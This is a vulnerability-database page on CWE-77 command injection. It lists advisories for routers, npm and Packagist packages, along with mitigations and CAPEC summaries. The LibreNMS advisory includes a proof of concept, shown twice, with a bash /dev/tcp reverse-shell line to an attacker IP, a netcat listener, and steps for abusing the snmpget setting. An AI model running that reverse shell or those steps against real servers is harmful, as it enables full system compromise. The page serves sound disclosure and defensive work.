CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5839 vulnerabilities reference this CWE, most recent first.
GHSA-JC4G-746Q-772H
Vulnerability from github – Published: 2025-12-30 18:30 – Updated: 2025-12-30 21:30A vulnerability was identified in Edimax BR-6208AC 1.02/1.03. Affected is the function formStaDrvSetup of the file /goform/formStaDrvSetup of the component Web-based Configuration Interface. The manipulation of the argument rootAPmac leads to command injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. Edimax confirms this issue: "The product mentioned, EDIMAX BR-6208AC V2, has reached its End of Life (EOL) status. It is no longer supported or maintained by Edimax, and it is no longer available for purchase in the market. Consequently, there will be no further firmware updates or patches for this device. We recommend users upgrade to newer models for better security." This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2025-15256"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-30T17:15:41Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in Edimax BR-6208AC 1.02/1.03. Affected is the function formStaDrvSetup of the file /goform/formStaDrvSetup of the component Web-based Configuration Interface. The manipulation of the argument rootAPmac leads to command injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. Edimax confirms this issue: \"The product mentioned, EDIMAX BR-6208AC V2, has reached its End of Life (EOL) status. It is no longer supported or maintained by Edimax, and it is no longer available for purchase in the market. Consequently, there will be no further firmware updates or patches for this device. We recommend users upgrade to newer models for better security.\" This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-jc4g-746q-772h",
"modified": "2025-12-30T21:30:32Z",
"published": "2025-12-30T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15256"
},
{
"type": "WEB",
"url": "https://tzh00203.notion.site/EDIMAX-BR-6208AC-V2_1-02-Command-Injection-Vulnerability-in-Web-formStaDrvSetup-handler-2d2b5c52018a803ebd91c200b3e2925b"
},
{
"type": "WEB",
"url": "https://tzh00203.notion.site/EDIMAX-BR-6208AC-V2_1-02-Command-Injection-Vulnerability-in-Web-formStaDrvSetup-handler-2d2b5c52018a803ebd91c200b3e2925b?source=copy_link"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.338646"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.338646"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.722014"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JC73-4HPP-FFH8
Vulnerability from github – Published: 2026-02-09 00:30 – Updated: 2026-02-10 15:30A vulnerability was determined in UTT 进取 521G 3.1.1-190816. The impacted element is the function sub_446B18 of the file /goform/formPdbUpConfig. Executing a manipulation of the argument policyNames can lead to os command injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.
{
"affected": [],
"aliases": [
"CVE-2026-2188"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-08T22:15:50Z",
"severity": "HIGH"
},
"details": "A vulnerability was determined in UTT \u8fdb\u53d6 521G 3.1.1-190816. The impacted element is the function sub_446B18 of the file /goform/formPdbUpConfig. Executing a manipulation of the argument policyNames can lead to os command injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.",
"id": "GHSA-jc73-4hpp-ffh8",
"modified": "2026-02-10T15:30:23Z",
"published": "2026-02-09T00:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2188"
},
{
"type": "WEB",
"url": "https://github.com/cha0yang1/UTT521G/blob/main/RCE2.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.344891"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.344891"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.749733"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JC8W-794F-CJ7Q
Vulnerability from github – Published: 2025-10-27 21:30 – Updated: 2025-10-27 21:30A vulnerability has been found in D-Link DI-7001 MINI 19.09.19A1/24.04.18B1. The affected element is an unknown function of the file /msp_info.htm. Such manipulation of the argument cmd leads to command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-12313"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-27T20:15:52Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in D-Link DI-7001 MINI 19.09.19A1/24.04.18B1. The affected element is an unknown function of the file /msp_info.htm. Such manipulation of the argument cmd leads to command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-jc8w-794f-cj7q",
"modified": "2025-10-27T21:30:27Z",
"published": "2025-10-27T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12313"
},
{
"type": "WEB",
"url": "https://github.com/DavCloudz/cve/issues/7"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.329985"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.329985"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.676887"
},
{
"type": "WEB",
"url": "https://www.dlink.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JC8X-VPWQ-C9G5
Vulnerability from github – Published: 2023-01-20 15:30 – Updated: 2023-01-26 18:30TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the username parameter in the setting/setOpenVpnCertGenerationCfg function.
{
"affected": [],
"aliases": [
"CVE-2022-48126"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-20T15:15:00Z",
"severity": "CRITICAL"
},
"details": "TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the username parameter in the setting/setOpenVpnCertGenerationCfg function.",
"id": "GHSA-jc8x-vpwq-c9g5",
"modified": "2023-01-26T18:30:48Z",
"published": "2023-01-20T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48126"
},
{
"type": "WEB",
"url": "https://github.com/Am1ngl/ttt/tree/main/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JCGM-7M3G-H3CX
Vulnerability from github – Published: 2026-09-30 06:31 – Updated: 2026-09-30 06:31A flaw has been found in zosmaai pi-llm-wiki up to 0.11.7. Affected is an unknown function of the file mcp/index.ts of the component wiki_capture_source MCP tool. Executing a manipulation of the argument url can lead to os command injection. The attack can be executed remotely. The exploit has been published and may be used. Upgrading to version 0.11.8 is able to address this issue. This patch is called 360867034e79175b45c8e04a98e4ca712bbaca35. Upgrading the affected component is advised.
{
"affected": [],
"aliases": [
"CVE-2026-102911"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-30T04:18:28Z",
"severity": "HIGH"
},
"details": "A flaw has been found in zosmaai pi-llm-wiki up to 0.11.7. Affected is an unknown function of the file mcp/index.ts of the component wiki_capture_source MCP tool. Executing a manipulation of the argument url can lead to os command injection. The attack can be executed remotely. The exploit has been published and may be used. Upgrading to version 0.11.8 is able to address this issue. This patch is called 360867034e79175b45c8e04a98e4ca712bbaca35. Upgrading the affected component is advised.",
"id": "GHSA-jcgm-7m3g-h3cx",
"modified": "2026-09-30T06:31:34Z",
"published": "2026-09-30T06:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102911"
},
{
"type": "WEB",
"url": "https://github.com/zosmaai/pi-llm-wiki/issues/185"
},
{
"type": "WEB",
"url": "https://github.com/zosmaai/pi-llm-wiki/pull/186"
},
{
"type": "WEB",
"url": "https://github.com/zosmaai/pi-llm-wiki/commit/360867034e79175b45c8e04a98e4ca712bbaca35"
},
{
"type": "WEB",
"url": "https://github.com/zosmaai/pi-llm-wiki"
},
{
"type": "WEB",
"url": "https://github.com/zosmaai/pi-llm-wiki/releases/tag/v0.11.8"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-102911"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/953898"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/411587"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/411587/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JCGR-9698-82JX
Vulnerability from github – Published: 2021-05-28 15:53 – Updated: 2021-05-27 21:05Impact
If you are using the esbuild target or command you are at risk of code/option injection. Attackers can use the command line option to maliciously change your settings in order to damage your project.
Patches
The problem has been patched in v1.0.0 as it uses a proper method to pass configs to esbuild/estrella.
Workarounds
There is no work around. You should update asap.
Notes
This notice is mainly just to make sure people update to the latest version. This isn't that bad, but should encourage you to update.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@floffah/build"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-27T21:05:29Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\nIf you are using the esbuild target or command you are at risk of code/option injection. Attackers can use the command line option to maliciously change your settings in order to damage your project.\n\n### Patches\nThe problem has been patched in v1.0.0 as it uses a proper method to pass configs to esbuild/estrella.\n\n### Workarounds\nThere is no work around. You should update asap.\n\n### Notes\nThis notice is mainly just to make sure people update to the latest version. This isn\u0027t that bad, but should encourage you to update.",
"id": "GHSA-jcgr-9698-82jx",
"modified": "2021-05-27T21:05:29Z",
"published": "2021-05-28T15:53:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Floffah/build/security/advisories/GHSA-jcgr-9698-82jx"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) in @floffah/build"
}
GHSA-JCP4-PR56-6W3C
Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-26 12:00A denial of service vulnerability exists in the web_server hashFirst functionality of Robustel R1510 3.1.16 and 3.3.0. A specially-crafted network request can lead to denial of service. An attacker can send a sequence of requests to trigger this vulnerability.The /action/import_file/ API is affected by command injection vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-35263"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-20",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-25T17:15:00Z",
"severity": "HIGH"
},
"details": "A denial of service vulnerability exists in the web_server hashFirst functionality of Robustel R1510 3.1.16 and 3.3.0. A specially-crafted network request can lead to denial of service. An attacker can send a sequence of requests to trigger this vulnerability.The `/action/import_file/` API is affected by command injection vulnerability.",
"id": "GHSA-jcp4-pr56-6w3c",
"modified": "2022-10-26T12:00:29Z",
"published": "2022-10-25T19:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35263"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1575"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JCPM-GQ2P-99P9
Vulnerability from github – Published: 2026-05-09 18:31 – Updated: 2026-05-09 18:31A vulnerability has been found in Wavlink NU516U1 M16U1_V240425. Affected is the function change_wifi_password of the file /cgi-bin/adm.cgi. The manipulation of the argument wl_channel/wl_Pass/EncrypType leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-8188"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-09T16:16:08Z",
"severity": "LOW"
},
"details": "A vulnerability has been found in Wavlink NU516U1 M16U1_V240425. Affected is the function change_wifi_password of the file /cgi-bin/adm.cgi. The manipulation of the argument wl_channel/wl_Pass/EncrypType leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure.",
"id": "GHSA-jcpm-gq2p-99p9",
"modified": "2026-05-09T18:31:27Z",
"published": "2026-05-09T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8188"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/Wavlink/vuln_1/1.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/800727"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/362340"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/362340/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JCQC-J873-GW98
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10Certain NETGEAR devices are affected by command injection by an authenticated user. This affects R6400 before 1.0.1.50, R7900P before 1.4.1.50, R8000P before 1.4.1.50, RAX75 before 1.0.1.62, and RAX80 before 1.0.1.62.
{
"affected": [],
"aliases": [
"CVE-2021-38521"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-11T00:15:00Z",
"severity": "HIGH"
},
"details": "Certain NETGEAR devices are affected by command injection by an authenticated user. This affects R6400 before 1.0.1.50, R7900P before 1.4.1.50, R8000P before 1.4.1.50, RAX75 before 1.0.1.62, and RAX80 before 1.0.1.62.",
"id": "GHSA-jcqc-j873-gw98",
"modified": "2022-05-24T19:10:47Z",
"published": "2022-05-24T19:10:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38521"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000063764/Security-Advisory-for-Post-Authentication-Command-Injection-on-Some-Routers-PSV-2018-0566"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JF24-8G2H-2WG7
Vulnerability from github – Published: 2026-08-18 21:17 – Updated: 2026-08-18 21:17Remote Code Execution via AboutController in LibreNMS
Summary
A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.
Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges
Details
Vulnerable Code
File: app/Http/Controllers/AboutController.php
Line: 85
'version_netsnmp' => str_replace('version: ', '',
rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),
Root Cause
The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.
Configuration Access
The snmpget configuration can be modified through the web interface:
- Endpoint:
PUT /settings/snmpget - Controller:
SettingsController::update() - Required Privileges: Administrator
- Config Definition:
resources/definitions/config_definitions.json
"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}
Validation Analysis
The sanitizePath() function in DynamicConfigItem.php:
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
if (preg_match('/[`;#$|&\'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is_file($value) && is_executable($value);
}
Attack Scenarios
| Scenario | Description |
|---|---|
| Insider Threat | Internal admin creates malicious file → updates config → RCE |
| Privilege Escalation | Attacker with limited access → creates file → full RCE |
| Supply Chain | Malicious package installs binary → admin uses it → RCE |
PoC
Prerequisites
- Valid administrator credentials for LibreNMS web interface
- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)
Proof of Concept - Reverse Shell
Step 1: Create Malicious Executable
Create a reverse shell payload that connects back to the attacker:
ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001
bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null
Save this as /tmp/rev_shell.sh and make it executable:
chmod +x /tmp/rev_shell.sh
Step 2: Setup Netcat Listener
On your attacking machine, start a netcat listener:
nc -lvnp 9001
Step 3: Update Configuration via Web Interface
Login to LibreNMS web interface as administrator and navigate to:
- Settings → External → Binaries
- Locate snmpget configuration
- Update the value to: /tmp/rev_shell.sh
- Click Save
Step 4: Trigger RCE
Access the /about endpoint to execute the malicious binary:
Impact Summary
| Category | Level | Description |
|---|---|---|
| Confidentiality | HIGH | Read config files, database credentials, SSH keys |
| Integrity | HIGH | Create webshells, backdoors, modify code |
| Availability | HIGH | Disrupt services, delete data, stop monitoring |
| Scope | CHANGED | Compromise extends beyond application to system |
Who Is Impacted
- LibreNMS installations where attacker has admin credentials AND file system access
- Organizations using LibreNMS for network monitoring
- Systems monitored by LibreNMS (lateral movement risk)
Remediation
Replace shell_exec() with Symfony Process component:
// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')
// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "librenms/librenms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T21:17:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Remote Code Execution via AboutController in LibreNMS\n\n## Summary\n\nA Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.\n\n**Severity:** High (CVSS 7.2)\n**Attack Vector:** Network\n**Privileges Required:** High (Administrator)\n**User Interaction:** None\n**Impact:** Complete system compromise with web server privileges\n\n---\n\n## Details\n\n### Vulnerable Code\n\n**File:** `app/Http/Controllers/AboutController.php`\n**Line:** 85\n\n```php\n\u0027version_netsnmp\u0027 =\u003e str_replace(\u0027version: \u0027, \u0027\u0027, \n rtrim(shell_exec(LibrenmsConfig::get(\u0027snmpget\u0027, \u0027snmpget\u0027) . \u0027 -V 2\u003e\u00261\u0027))),\n```\n\n### Root Cause\n\nThe AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `\u0026`, `\u0027`, `\"`, `\u003e`, `\u003c`, `(`), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.\n\n### Configuration Access\n\nThe `snmpget` configuration can be modified through the web interface:\n\n- **Endpoint:** `PUT /settings/snmpget`\n- **Controller:** `SettingsController::update()`\n- **Required Privileges:** Administrator\n- **Config Definition:** `resources/definitions/config_definitions.json`\n\n```json\n\"snmpget\": {\n \"default\": \"/usr/bin/snmpget\",\n \"type\": \"executable\"\n}\n```\n\n### Validation Analysis\n\nThe `sanitizePath()` function in `DynamicConfigItem.php`:\n\n```php\n// LibreNMS/Util/DynamicConfigItem.php:277-284\nprivate function sanitizePath(string $path): string|false\n{\n if (preg_match(\u0027/[`;#$|\u0026\\\u0027\"\u003e\u003c(]/\u0027, $path)) {\n return false;\n }\n return realpath($path);\n}\n\n// LibreNMS/Util/DynamicConfigItem.php:107-110\n} elseif ($this-\u003etype === \u0027executable\u0027) {\n $value == $this-\u003esanitizePath($value);\n return $value !== false \u0026\u0026 is_file($value) \u0026\u0026 is_executable($value);\n}\n```\n### Attack Scenarios\n\n| Scenario | Description |\n|----------|-------------|\n| **Insider Threat** | Internal admin creates malicious file \u2192 updates config \u2192 RCE |\n| **Privilege Escalation** | Attacker with limited access \u2192 creates file \u2192 full RCE |\n| **Supply Chain** | Malicious package installs binary \u2192 admin uses it \u2192 RCE |\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Valid administrator credentials for LibreNMS web interface\n- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)\n\n### Proof of Concept - Reverse Shell\n\n#### Step 1: Create Malicious Executable\n\nCreate a reverse shell payload that connects back to the attacker:\n\n```bash\nATTACKER_IP=\"172.16.69.144\"\nATTACKER_PORT=9001\n\nbash -c \u0027bash -i \u003e\u0026 /dev/tcp/\u0027$ATTACKER_IP\u0027/\u0027$ATTACKER_PORT\u0027 0\u003e\u00261\u0027 2\u003e/dev/null\n```\n\nSave this as `/tmp/rev_shell.sh` and make it executable:\n```bash\nchmod +x /tmp/rev_shell.sh\n```\n\n#### Step 2: Setup Netcat Listener\n\nOn your attacking machine, start a netcat listener:\n\n```bash\nnc -lvnp 9001\n```\n\n#### Step 3: Update Configuration via Web Interface\n\nLogin to LibreNMS web interface as administrator and navigate to:\n- **Settings** \u2192 **External** \u2192 **Binaries**\n- Locate **snmpget** configuration\n- Update the value to: `/tmp/rev_shell.sh`\n- Click **Save**\n\n\u003cimg width=\"1919\" height=\"848\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3\" /\u003e\n\n#### Step 4: Trigger RCE\n\nAccess the `/about` endpoint to execute the malicious binary:\n\n\u003cimg width=\"1861\" height=\"957\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b\" /\u003e\n\n---\n\n## Impact Summary\n\n| Category | Level | Description |\n|----------|-------|-------------|\n| **Confidentiality** | HIGH | Read config files, database credentials, SSH keys |\n| **Integrity** | HIGH | Create webshells, backdoors, modify code |\n| **Availability** | HIGH | Disrupt services, delete data, stop monitoring |\n| **Scope** | CHANGED | Compromise extends beyond application to system |\n\n### Who Is Impacted\n- LibreNMS installations where attacker has admin credentials AND file system access\n- Organizations using LibreNMS for network monitoring\n- Systems monitored by LibreNMS (lateral movement risk)\n\n\n---\n\n## Remediation\n\nReplace `shell_exec()` with Symfony Process component:\n\n```php\n// BEFORE (vulnerable):\nshell_exec(LibrenmsConfig::get(\u0027snmpget\u0027, \u0027snmpget\u0027) . \u0027 -V 2\u003e\u00261\u0027)\n\n// AFTER (safe):\n$process = new Process([LibrenmsConfig::get(\u0027snmpget\u0027, \u0027snmpget\u0027), \u0027-V\u0027]);\n$process-\u003erun();\n```",
"id": "GHSA-jf24-8g2h-2wg7",
"modified": "2026-08-18T21:17:11Z",
"published": "2026-08-18T21:17:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-jf24-8g2h-2wg7"
},
{
"type": "PACKAGE",
"url": "https://github.com/librenms/librenms"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/releases/tag/26.5.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "LibreNMS Vulnerable to Remote Code Execution via AboutController"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
